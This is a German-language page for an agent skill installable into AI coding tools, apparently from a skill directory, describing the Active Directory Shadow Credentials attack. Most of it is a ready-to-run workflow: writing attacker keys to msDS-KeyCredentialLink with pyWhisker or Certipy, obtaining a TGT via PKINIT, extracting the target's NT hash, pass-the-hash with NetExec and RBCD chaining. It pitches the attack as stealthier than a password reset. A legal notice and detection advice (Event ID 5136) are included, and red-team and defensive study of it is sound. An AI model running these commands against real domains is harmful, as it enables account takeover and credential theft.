Communitygithub.com

Abusing Shadow Credentials for Privilege Escalation

Übernehmen Sie Active-Directory-Konten, indem Sie vom Angreifer kontrollierte öffentliche Schlüssel in msDS-KeyCredentialLink (Shadow Credentials) schreiben – mit pyWhisker, Whisker oder Certipy – und dann mittels PKINIT authentifizieren, um das Ziel-NT-Hash wiederherzustellen.

Was ist Abusing Shadow Credentials for Privilege Escalation?

Diese Fähigkeit beschreibt die Ausnutzung von Shadow Credentials in Active Directory, um privilegierte Konten zu übernehmen, ohne das Passwort zurückzusetzen. Wenn ein Angreifer Schreibrechte auf das Attribut msDS-KeyCredentialLink eines Benutzers oder Computers hat (z. B. über GenericWrite, GenericAll oder AddKeyCredentialLink), kann er einen selbst erstellten öffentlichen Schlüssel hinzufügen und dann über PKINIT ein Kerberos-TGT anfordern. Das resultierende NT-Hash ermöglicht vollständige Kontrollübernahme, was leiser ist als ein erzwungener Passwortwechsel. Die Technik wird von Tools wie pyWhisker (Python), Whisker (C#) und Certipy (mit dem Befehl `shadow auto`) unterstützt und erfordert einen Domain Controller mit Windows Server 2016 oder höher, der PKINIT unterstützt. Sie eignet sich besonders für Red-Team-Operationen, bei denen eine Kontoübernahme ohne Alarme oder Sperrungen erforderlich ist, und erlaubt es, Computerkonten für Resource-Based Constrained Delegation (RBCD) zu verwenden. Die bereitgestellte Anleitung umfasst Schritte zur Überprüfung der Schreibrechte, zum Hinzufügen des Schlüssels, zur Anforderung des TGT, zur Extraktion des NT-Hashs, zur Automatisierung mit Certipy, zur Nutzung der Anmeldedaten, zur optionalen RBCD-Erweiterung und schließlich zur Bereinigung, um die ursprünglichen Objekte wiederherzustellen. Empfohlen werden außerdem Erkennungs- und Abhilfemaßnahmen wie die Überwachung von Event ID 5136 und die Entfernung unnötiger Berechtigungen.

Funktioniert mit~Claude Code~Codex CLI~Cursor
npx skills add https://github.com/mukul975/Anthropic-Cybersecurity-Skills/tree/main/skills/abusing-shadow-credentials-for-privesc

In Ihrer bevorzugten KI fragen

Öffnet einen neuen Chat, in dem dieser Agent-Skill bereits geladen ist.

Dokumentation

Ausnutzen von Shadow Credentials zur Privilegienausweitung

Rechtlicher Hinweis: Diese Fähigkeit ist ausschließlich für autorisierte Sicherheitstests und Bildungszwecke bestimmt. Shadow Credentials ermöglichen die vollständige Übernahme des Zielkontos. Verwenden Sie sie nur gegen Systeme, die Ihnen gehören oder für die Sie ausdrücklich schriftlich autorisiert wurden. Unautorisierter Zugriff ist strafbar.

Übersicht

Die Shadow Credentials-Technik missbraucht das msDS-KeyCredentialLink-Attribut von Active-Directory-Benutzer- und Computerobjekten. Dieses Attribut speichert rohe öffentliche Schlüssel („Key Credentials“), die von Windows Hello for Business und der Azure AD-Geräteregistrierung für die passwortlose zertifikatbasierte Anmeldung über PKINIT (Public Key Cryptography for Initial Authentication in Kerberos) verwendet werden. Wenn ein Angreifer Schreibrechte auf die msDS-KeyCredentialLink eines Zielobjekts besitzt – typischerweise durch GenericWrite, GenericAll, WriteProperty oder AddKeyCredentialLink-ACEs, die in BloodHound sichtbar werden – kann er seinen eigenen, vom Angreifer generierten öffentlichen Schlüssel anhängen. Anschließend fordert er über PKINIT ein TGT für das Ziel an, indem er den zugehörigen privaten Schlüssel verwendet, und erhält das NT-Hash des Ziels. Dies führt zu einer vollständigen Kontoübernahme ohne Zurücksetzen des Passworts, was weitaus unauffälliger ist als ein erzwungener Passwortwechsel.

Die Technik wurde von Elad Shamir veröffentlicht („Shadow Credentials: Abusing Key Trust Account Mapping for Account Takeover“) und im C#-Tool Whisker implementiert. Das Python-Äquivalent pyWhisker (ShutdownRepo) manipuliert das Attribut über LDAP, und Certipy integriert die gesamte Kette via certipy shadow auto. Die Zielumgebung muss PKINIT unterstützen und mindestens einen Domain-Controller mit Windows Server 2016 oder neuer enthalten. Quellen: pyWhisker, Whisker, The Hacker Recipes – Shadow Credentials.

Wann verwenden

  • Wenn BloodHound GenericWrite/GenericAll/AddKeyCredentialLink über einem höherwertigen Benutzer oder Computer aufdeckt
  • Als unauffälligere Alternative zu ForceChangePassword (kein Passwort-Reset = weniger Störung/Alarmierung)
  • Zur Übernahme eines Computerkontos, um eine Kette für Resource-Based Constrained Delegation (RBCD) zu ermöglichen
  • Während Red-Team-Operationen, die eine Kontoübernahme ohne Sperrung des legitimen Benutzers erfordern
  • Für Purple-Team-Übungen zur Generierung von Telemetrie bei Änderungen an msDS-KeyCredentialLink

Voraussetzungen

  • Autorisierter Engagement-Bereich, einschließlich AD-Credential-Access-Techniken
  • Kontrolle über ein Konto mit Schreibrechten auf die msDS-KeyCredentialLink des Ziels
  • Ein DC mit Windows Server 2016+ und aktiviertem PKINIT (Domänenfunktionsebene, die Key Trust unterstützt)
  • Netzwerkerreichbarkeit zu LDAP (389/636) und Kerberos (88) auf einem DC
  • Linux-Angriffsrechner mit Python 3.8+; Installation der Tools:
    # pyWhisker (aus dem Quellcode)
    git clone https://github.com/ShutdownRepo/pywhisker
    cd pywhisker && pip install .
    # Certipy (integrierter Shadow-Angriff)
    pipx install certipy-ad
    # PKINITtools für manuelle TGT-/NT-Hash-Extraktion
    git clone https://github.com/dirkjanm/PKINITtools
    

Ziele

  • Schreibzugriff auf die msDS-KeyCredentialLink des Ziels bestätigen
  • Ein Schlüsselpaar generieren und einen Key Credential an das Zielobjekt anhängen
  • Ein TGT für das Ziel via PKINIT mit dem neuen Schlüssel anfordern
  • Das NT-Hash des Ziels für Pass-the-Hash / weitere Bewegungen extrahieren
  • Den injizierten Key Credential entfernen, um den Objektzustand wiederherzustellen
  • Den ACL-Pfad, der den Angriff ermöglicht hat, für die Behebung dokumentieren

MITRE ATT&CK-Zuordnung

IDTechnikAnwendung in dieser Fähigkeit
T1098.005Account Manipulation: Device RegistrationSchreiben eines vom Angreifer kontrollierten Key Credential (Geräteschlüssel) in msDS-KeyCredentialLink, um eine alternative Authentifizierungsanmeldeinformation für das Zielkonto zu registrieren

Arbeitsablauf

Schritt 1: Das Schreibrecht bestätigen

Liste die vorhandenen Key Credentials auf dem Ziel auf, um zu überprüfen, dass du den erforderlichen Zugriff hast. Ein leeres oder lesbares Ergebnis bestätigt den Schreibzugriff für den add-Schritt.

python3 pywhisker.py -d "corp.local" -u "attacker" -p "Passw0rd!" \
    --target "victim" --action "list"

Schritt 2: Einen Shadow Credential mit pyWhisker hinzufügen

Generiere ein Zertifikat-/Schlüsselpaar und schreibe es in die msDS-KeyCredentialLink des Ziels. pyWhisker gibt eine PFX-Datei aus, die du kontrollierst.

python3 pywhisker.py -d "corp.local" -u "attacker" -p "Passw0rd!" \
    --target "victim" --action "add" --filename victim_shadow
# Erzeugt victim_shadow.pfx und gibt das PFX-Passwort aus

Verwende Kerberos-Authentifizierung anstelle eines Passworts, wenn du nur ein Ticket besitzt:

python3 pywhisker.py -d "corp.local" -u "attacker" -k --no-pass \
    --target "victim" --action "add" --filename victim_shadow --use-ldaps

Schritt 3: Ein TGT via PKINIT anfordern

Verwende die generierte PFX mit PKINITtools, um ein Kerberos-TGT für das Ziel zu erhalten.

python3 PKINITtools/gettgtpkinit.py \
    -cert-pfx victim_shadow.pfx -pfx-pass <PFX_PASSWORT> \
    corp.local/victim victim.ccache

Schritt 4: Das NT-Hash extrahieren

Extrahiere das NT-Hash des Ziels aus der AS-REP mit dem Sitzungsschlüssel aus Schritt 3 (getnthash.py liest den AS-REP-Verschlüsselungsschlüssel, der von gettgtpkinit.py angezeigt wird).

export KRB5CCNAME=victim.ccache
python3 PKINITtools/getnthash.py -key <AS-REP-SCHLÜSSEL-AUS-SCHRITT-3> corp.local/victim
# Gibt das NT-Hash für 'victim' aus

Schritt 5: One-Shot-Alternative mit Certipy

Certipys shadow auto führt add → PKINIT → Hash extrahieren → Cleanup automatisch durch, ideal für die Übernahme von Computerkonten.

certipy shadow auto -u '[email protected]' -p 'Passw0rd!' \
    -dc-ip 10.0.0.100 -account 'victim'
# Für ein Computerkonto den sAMAccountName mit abschließendem $ verwenden
certipy shadow auto -u '[email protected]' -p 'Passw0rd!' \
    -dc-ip 10.0.0.100 -account 'WS01$'

Schritt 6: Die wiederhergestellten Anmeldedaten verwenden

Authentifiziere dich mit dem NT-Hash (oder dem TGT), um das Engagement fortzusetzen.

# Pass-the-Hash mit NetExec
nxc smb 10.0.0.10 -u victim -H <EXTRAHIERTES-NT-HASH>
# Oder das TGT direkt verwenden
export KRB5CCNAME=victim.ccache
nxc smb dc.corp.local -u victim --use-kcache

Schritt 7: Computerübernahme in RBCD verketten (optional)

Wenn das Ziel ein Computer ist, erlaubt der wiederhergestellte Schlüssel/das Hash, Resource-Based Constrained Delegation zu konfigurieren, um jeden Benutzer auf diesem Host zu impersonieren.

# RBCD setzen, sodass der vom Angreifer kontrollierte SPN auf WS01$ impersonieren kann
impacket-rbcd -delegate-from 'attacker$' -delegate-to 'WS01$' \
    -action write 'corp.local/attacker:Passw0rd!'

Schritt 8: Bereinigen

Entferne den injizierten Key Credential, um das Objekt wiederherzustellen und den Erkennungsfußabdruck zu verringern.

# pyWhisker: Entfernen nach Geräte-ID (beim add ausgegeben) oder alle hinzugefügten löschen
python3 pywhisker.py -d "corp.local" -u "attacker" -p "Passw0rd!" \
    --target "victim" --action "remove" --device-id <GERÄTE-ID>
# Certipy shadow auto bereinigt automatisch; andernfalls:
certipy shadow clear -u '[email protected]' -p 'Passw0rd!' \
    -dc-ip 10.0.0.100 -account 'victim'

Tools und Ressourcen

RessourceZweckLink
pyWhiskerPython-LDAP-Manipulation von msDS-KeyCredentialLinkhttps://github.com/ShutdownRepo/pywhisker
WhiskerUrsprüngliche C#-Implementierunghttps://github.com/eladshamir/Whisker
Certipyshadow auto End-to-End-Übernahmehttps://github.com/ly4k/Certipy
PKINITtoolsgettgtpkinit / getnthashhttps://github.com/dirkjanm/PKINITtools
The Hacker RecipesTechnik-Erklärung & Abwehrmaßnahmenhttps://www.thehacker.recipes/ad/movement/kerberos/shadow-credentials

Erkennungs- und Abhilfehinweise

BereichAnleitung
ErkennungÜberwache Windows-Sicherheitsereignis-ID 5136 (Verzeichnisobjekt geändert) auf Änderungen an msDS-KeyCredentialLink; alarmieren, wenn ein Nicht-AD-Connect-/Nicht-Intune-Prinzipal das Attribut schreibt.
ÜberwachungAktiviere die Überwachung von Verzeichnisdienst-Objektänderungen in Benutzer-/Computer-OUs.
Least PrivilegeEntferne unnötige GenericWrite/GenericAll/AddKeyCredentialLink-ACEs (BloodHound-Kante AddKeyCredentialLink).
AbhilfeWenn Windows Hello/Geräteregistrierung nicht verwendet wird, schränke ein, wer Key Credentials schreiben darf, und erwäge den Schutz von Tier-0-Konten.

Validierungskriterien

  • Schreibzugriff auf msDS-KeyCredentialLink des Ziels bestätigt (list erfolgreich)
  • Key Credential erfolgreich hinzugefügt (PFX generiert)
  • PKINIT-TGT für das Zielkonto erhalten
  • NT-Hash des Ziels extrahiert und gegen einen Dienst validiert
  • (Bei Computern) RBCD-Kette oder weitere Bewegung demonstriert
  • Injizierter Key Credential entfernt / Objekt wiederhergestellt
  • Ermöglichender ACL-Pfad mit Empfehlung zur Behebung dokumentiert

Individual skills in this repo

This repo contains 20 individual skills — each has its own dedicated page.

abusing-dpapi-for-credential-access

Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys) online or offline using SharpDPAPI, SharpChrome, Mimikatz, or Impacket

achieving-cmmc-level-2-compliance

>-

acquiring-disk-image-with-dd-and-dcfldd

Create forensically sound bit-for-bit disk images with dd or dcfldd on a Linux forensic workstation, preserving evidence integrity through hash verification (MD5/SHA) during acquisition. Use when imaging a suspect drive, USB device, or memory card for investigation, preserving volatile disk evidence during incident response, or producing a verified copy for legal or law-enforcement proceedings before any destructive analysis.

analyzing-active-directory-acl-abuse

Detect dangerous ACL misconfigurations in Active Directory using ldap3

analyzing-android-malware-with-apktool

Perform static analysis of Android APK malware using apktool for resource decompilation, jadx for Java source recovery, and androguard for manifest inspection, dangerous permission-combination detection, and identification of obfuscated code, dynamic code loading, and reflection-based API calls. Use to statically triage a suspicious APK without executing it or to build mobile malware detection rules.

analyzing-api-gateway-access-logs

Parses API Gateway access logs (AWS API Gateway, Kong, Nginx) to detect

analyzing-apt-group-with-mitre-navigator

Query ATT&CK data with attackcti, mitreattack-python, and stix2, then build MITRE ATT&CK Navigator layers and multi-layer heatmap overlays mapping one or more APT groups

analyzing-azure-activity-logs-for-threats

Queries Azure Monitor activity logs and sign-in logs via azure-monitor-query

analyzing-bootkit-and-rootkit-samples

Analyzes bootkit and advanced rootkit malware infecting the Master

analyzing-browser-forensics-with-hindsight

Parse Chromium-based browser databases with Hindsight to extract and correlate browsing history, downloads, cookies, cached content, autofill data, saved passwords, and extensions from Chrome, Edge, Brave, Opera, and Vivaldi into a unified timeline (XLSX, JSON, or SQLite output). Use during incident response, insider-threat investigations, or criminal cases when you need to reconstruct a user

analyzing-campaign-attribution-evidence

Systematically evaluate cyber-campaign evidence to attribute an operation to a threat actor, using the Diamond Model and Analysis of Competing Hypotheses (ACH) to weigh infrastructure overlaps, TTP consistency, malware code similarity, and timing/language artifacts into confidence-weighted attribution assessments. Use when an incident investigation needs a defensible attribution confidence level.

analyzing-certificate-transparency-for-phishing

Monitor Certificate Transparency logs using crt.sh and Certstream to

analyzing-cloud-storage-access-patterns

Detect abnormal access in AWS S3, GCS, and Azure Blob Storage by analyzing CloudTrail Data Events, GCS audit logs, and Azure Storage Analytics for after-hours bulk downloads, new-IP access, and API-call spikes (e.g. GetObject) via statistical baselines and time-series anomaly detection. Use when investigating suspected cloud data exfiltration or building related detection rules.

analyzing-cobalt-strike-beacon-configuration

Extract and analyze Cobalt Strike beacon configuration from PE files

analyzing-cobaltstrike-malleable-c2-profiles

Parse and analyze Cobalt Strike Malleable C2 profiles with dissect.cobaltstrike (profiles and beacon-payload configs) and pyMalleableC2 (AST parsing) to extract HTTP/DNS transforms, URIs, headers, sleep/jitter, and injection behavior, then generate network detection signatures. Use when reverse-engineering a captured malleable profile or building detections against Cobalt Strike Beacon traffic.

analyzing-command-and-control-communication

Analyzes malware C2 communication over HTTP, HTTPS, DNS, and custom

analyzing-cyber-kill-chain

Analyzes intrusion activity against the Lockheed Martin Cyber Kill Chain

analyzing-disk-image-with-autopsy

Perform comprehensive forensic analysis of raw (dd), E01, or AFF disk images with Autopsy and The Sleuth Kit, recovering deleted files, examining metadata and embedded artifacts, keyword searching, and building investigation timelines with visual reports. Use for structured analysis of a forensic disk image or when stakeholders need visual reports from evidence.

analyzing-dns-logs-for-exfiltration

Analyzes DNS query logs to detect data exfiltration via DNS tunneling,

analyzing-docker-container-forensics

Investigate compromised Docker containers by analyzing images, layers,

Verwandte Skills